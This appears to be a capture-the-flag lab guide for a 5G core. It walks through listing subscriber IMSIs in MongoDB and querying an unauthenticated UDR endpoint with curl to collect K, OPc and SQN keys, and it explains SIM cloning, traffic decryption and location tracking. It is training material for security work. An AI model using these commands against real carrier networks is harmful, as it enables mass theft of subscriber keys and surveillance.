CH5 — Subscriber Harvest — Build, Break, Defend

1

CH5 vs CH2 — What Is Different?

Same vulnerability, different threat model

CH5 uses the same UDR endpoint as CH2 — /nudr-dr/v1/subscription-data/. The difference is not the vulnerability itself but what the challenge teaches. In CH2, you were handed the IMSI and asked to fetch one subscriber's credentials. In CH5, you must determine which IMSI has the flag. That distinction is the entire lesson: unauthenticated UDR access is not just a targeted credential theft risk — it is a bulk subscriber surveillance capability.

Challenge 2

Credential Theft — Targeted

Target IMSIGiven to you

ScopeOne subscriber

Threat modelTargeted attack

Attacker knows whoYes — hint provided

Points200

Challenge 5 — This Challenge

Subscriber Harvest — Bulk

Target IMSIYou must find it

ScopeAll subscribers

Threat modelMass surveillance

Attacker knows whoNo — must enumerate

Points250

The target IMSI for this challenge is in the MongoDB subscribers collection — the same database you accessed in CH4. Query it to enumerate the subscriber list, then pull each one's authentication data from the UDR. That enumeration loop is exactly what a real attacker would run — no rate limiting, no authentication, every subscriber exposed in a single script.

2

SUPI Disclosure at Scale

From targeted credential theft to mass surveillance capability

A SUPI (Subscription Permanent Identifier) is the 5G successor to the IMSI — the permanent identity of a subscriber. The UDR endpoint that returns authentication data also reveals the SUPI, the K key, the OPc parameter, and the sequence number for every subscriber it is queried about. Without OAuth2 enforcement, there is no constraint on who can ask or how many times.

Bulk Harvest Capability

One Endpoint — Every Subscriber

A carrier network may have millions of subscribers. Their IMSIs follow a predictable structure: MCC + MNC + MSIN (Mobile Subscriber Identification Number). Given the PLMN (999-70 in this lab), an attacker can enumerate all valid IMSIs and query the UDR for each one. The result is a complete copy of the subscriber database — every K key, every OPc, every authentication secret in the network.

💾

Clone Any SIM

With K and OPc for any IMSI, provision a software SIM clone for any subscriber in the network.

📢

Passive Decryption

All session keys derive from K. Recorded radio traffic from any subscriber becomes decryptable retroactively.

📍

Location Tracking

With a cloned SIM, track subscriber location by probing the network — the network thinks it is talking to the real SIM.

🏡

Network Compromise

The full subscriber database is the most sensitive asset in a carrier network. Bulk harvest is a complete network compromise.

This is SUPI disclosure at scale — the difference between picking a pocket and robbing a bank. CH2 demonstrates that one targeted query works. CH5 demonstrates that without any auth enforcement, an attacker has no reason to limit themselves to one query. The entire subscriber base is exposed in the same amount of time it takes to write a loop.

3

The Attack

Enumerate subscribers from MongoDB, then pull credentials from the UDR

The attack is identical to CH2 at the HTTP level. Start by enumerating the subscriber list from MongoDB — your jumpbox has $MONGO_URI set in the shell. Then query the UDR authentication subscription endpoint for each IMSI. The encPermanentKey value for the target subscriber is the flag.

HTTP/2 is required: All 5G SBI endpoints run HTTP/2. Pass --http2-prior-knowledge to every curl command or you will receive no response. The UDR is at $UDR_URL.

Step 1 — enumerate subscribers via MongoDBsudo docker exec moriah-mongodb mongosh \
  $MONGO_URI \
  --quiet \
  --eval "db.subscribers.find({},{imsi:1,_id:0}).forEach(function(s){print(s.imsi)})"

# Returns all IMSIs provisioned on this core — query the UDR for each one

Step 2 — query UDR for each IMSIcurl --http2-prior-knowledge \
     "http://$UDR_URL/nudr-dr/v1/subscription-data/<imsi>/authentication-data/authentication-subscription"

# encPermanentKey IS the flag — wrap in TWIN{}

JSON Response — flag field highlighted

{
  "authenticationMethod": "5G_AKA",
  "encPermanentKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",   <-- THIS IS THE FLAG
  "encOpcKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
  "authenticationManagementField": "8000",
  "algorithmId": "MILENAGE",
  "sequenceNumber": {
    "sqn": "000000000000",
    "sqnScheme": "NON_TIME_BASED"
  }
}

encPermanentKey IS the flag. Take the 32-character hex value, wrap it in TWIN{}, and submit. Each provisioned subscriber has a unique K key — the CH5 target's value differs from CH2's.

Field	What It Is	CH5 Context
encPermanentKey	K — the permanent subscriber key (128-bit / 32 hex chars)	This is the flag. In bulk harvest, this field is returned for every IMSI queried — no rate limiting, no auth.
encOpcKey	OPc — operator-specific parameter for MILENAGE	Required alongside K for a complete software SIM clone. Also returned with no auth check.
authenticationMethod	5G_AKA or EAP-AKA' — the authentication protocol to use	Reveals whether the subscriber is using the stronger 5G-AKA protocol or the legacy EAP path.
sqn	Sequence number — anti-replay counter per subscriber	In a bulk harvest, knowing each subscriber's SQN lets an attacker forge valid auth vectors without triggering sync failures.

4

Real World Impact

What bulk UDR access means for a real carrier network

The distinction between targeted credential theft and bulk subscriber harvesting is the difference between a breach affecting one person and a breach affecting an entire country's mobile subscribers. The same unauthenticated endpoint that powers CH2 and CH5 would, in a real carrier, expose every subscriber with a single loop.

📝
Complete subscriber database exfiltration With no auth and no rate limiting on the UDR, an attacker iterates every IMSI in the network's PLMN range. Depending on the carrier, that is millions of records. Each query returns K, OPc, SQN — everything needed to clone any subscriber's SIM. This is the equivalent of exfiltrating the entire HSS/HLR database from a 4G network.
🔑
Mass SIM cloning capability Every K key returned is a SIM clone waiting to happen. With K and OPc, a software SIM (e.g., srsRAN, Open5GS UE, a programmable SIM) can be configured to impersonate any subscriber. At scale, this means an attacker can impersonate any subscriber in the network — for calls, data, SMS, and location.
📡
Retroactive decryption of all captured traffic All 5G session keys, ciphering keys, and integrity keys are derived from K using 5G-AKA. An attacker who has been passively recording encrypted radio traffic — not yet able to decrypt it — can apply the harvested K keys retroactively to decrypt everything they captured before the breach was even discovered.
🚫
This is why HSMs exist — and why open5GS is for labs only Production carriers store K inside Hardware Security Modules that never expose the raw key material over any software interface. The UDR sits in front of the HSM and only returns derived authentication vectors — not K itself. Open5GS stores K in MongoDB plaintext specifically because it is designed for development. The lesson of CH5 is what happens when that design assumption is violated by deploying it without the hardening a real deployment requires.

5

Flag Format

Where to look and what to submit

CH5 Flag Format

TWIN{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}

32 lowercase hexadecimal characters inside the braces.

The flag is the value of encPermanentKey in the UDR authentication subscription JSON response for the target subscriber. Enumerate the subscriber list from MongoDB first, then query the UDR for each IMSI.

Take the 32-char hex string, wrap it in TWIN{}, and submit. This value is different from the CH2 flag — each subscriber has a unique K key provisioned in the lab.

Hint: The target subscriber's IMSI is in the MongoDB subscribers collection — the same database you queried in CH4. The IMSI format is imsi-<15 digits>. Using the wrong format returns a 400 Bad Request from the UDR.